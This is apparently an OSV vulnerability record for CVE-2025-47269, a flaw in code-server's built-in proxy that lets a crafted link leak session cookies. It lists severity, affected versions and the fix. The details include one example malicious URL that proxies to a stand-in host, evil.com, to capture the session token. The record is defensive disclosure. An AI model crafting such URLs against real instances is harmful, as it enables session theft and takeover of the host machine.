CVE-2025-47269

Source
https://cve.org/CVERecord?id=CVE-2025-47269
Import Source
https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2025-47269.json
JSON Data
https://api.osv.dev/v1/vulns/CVE-2025-47269
Aliases
Related
Published
2025-05-09T20:59:01.510Z
Modified
2026-04-10T05:28:46.051756Z
Severity
  • 8.3 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L CVSS Calculator
Summary
code-server session cookie can be extracted by having user visit specially crafted proxy URL
Details

code-server runs VS Code on any machine anywhere through browser access. Prior to version 4.99.4, a maliciously crafted URL using the proxy subpath can result in the attacker gaining access to the session token. Failure to properly validate the port for a proxy request can result in proxying to an arbitrary domain. The malicious URL https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path where the attacker could exfiltrate a user's session token. Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to /proxy. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. This issue has been patched in version 4.99.4.

Database specific
{
    "osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47269.json",
    "cwe_ids": [
        "CWE-441"
    ],
    "cna_assigner": "GitHub_M"
}
References

Affected packages

Git / github.com/coder/code-server

Affected ranges

Type
GIT
Repo
https://github.com/coder/code-server
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed
Type
GIT
Repo
https://github.com/coder/code-server
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed

Affected versions

1.*
1.1099-vsc1.33.1
1.1106-vsc1.33.1
1.1119-vsc1.33.1
1.1140-vsc1.33.1
1.1156-vsc1.33.1
1.31.0
1.31.0-20
1.31.1-100
1.32.0-245
1.32.0-275
1.32.0-282
1.32.0-310
1.408-vsc1.32.0
1.604-vsc1.32.0
1.691-vsc1.33.0
1.696-vsc1.33.0
1.790-vsc1.33.1
1.792-vsc1.33.1
1.854-vsc1.33.1
1.868-vsc1.33.1
1.903-vsc1.33.1
1.939-vsc1.33.1
2.*
2.1472-vsc1.38.1
2.1478-vsc1.38.1
2.1485-vsc1.38.1
2.1523-vsc1.38.1
2.1637-vsc1.39.2
2.1638-vsc1.39.2
2.1650-vsc1.39.2
2.1655-vsc1.39.2
2.1662-vsc1.39.2
2.1665-vsc1.39.2
2.1688-vsc1.39.2
2.1692-vsc1.39.2
2.1698
3.*
3.0.0
3.0.1
3.0.2
3.1.0
3.1.1
3.2.0
3.4.0
3.4.1
v3.*
v3.12.0
v3.3.0
v3.9.1
v4.*
v4.1.0
v4.10.0
v4.10.0-rc.1
v4.10.0-rc.2
v4.10.1
v4.10.1-rc.1
v4.11.0
v4.11.0-rc.1
v4.12.0
v4.12.0-rc.1
v4.12.0-rc.2
v4.13.0
v4.13.0-rc.1
v4.13.0-rc.2
v4.14.0
v4.14.0-rc.1
v4.14.1
v4.14.1-rc.1
v4.14.1-rc.2
v4.15.0
v4.15.0-rc.1
v4.16.0
v4.16.0-rc.1
v4.16.1
v4.17.0
v4.17.0-rc.1
v4.17.1
v4.17.1-rc.1
v4.18.0
v4.18.0-rc.1
v4.19.0
v4.19.0-rc.1
v4.19.1
v4.19.1-rc.1
v4.19.1-rc.2
v4.20.0
v4.20.0-rc.1
v4.20.1
v4.21.0
v4.21.0-rc.1
v4.21.1
v4.21.1-rc.1
v4.21.2
v4.22.0
v4.22.0-rc.1
v4.22.1
v4.22.1-rc.1
v4.22.1-rc.2
v4.23.0
v4.23.0-rc.1
v4.23.0-rc.2
v4.23.1
v4.5.0
v4.7.1
v4.8.0
v4.8.1
v4.8.1-rc.1
v4.89.0
v4.89.0-rc.1
v4.89.1
v4.9.0-rc.0
v4.90.0
v4.90.0-rc.1
v4.90.1
v4.90.2
v4.90.3
v4.91.0
v4.91.0-rc.1
v4.91.1
v4.92.2
v4.92.2-rc.1
v4.93.1
v4.93.1-rc.1
v4.94.2-rc.1
v4.95.1
v4.95.1-rc.1
v4.95.1-rc.2
v4.95.2
v4.95.3
v4.96.1
v4.96.2
v4.96.4
v4.97.1-rc.1
v4.97.2
v4.98.0
v4.98.0-rc.1
v4.98.2
v4.99.0
v4.99.0-rc.1
v4.99.1
v4.99.2
v4.99.3

Database specific

source
"https://storage.googleapis.com/cve-osv-conversion/osv-output/CVE-2025-47269.json"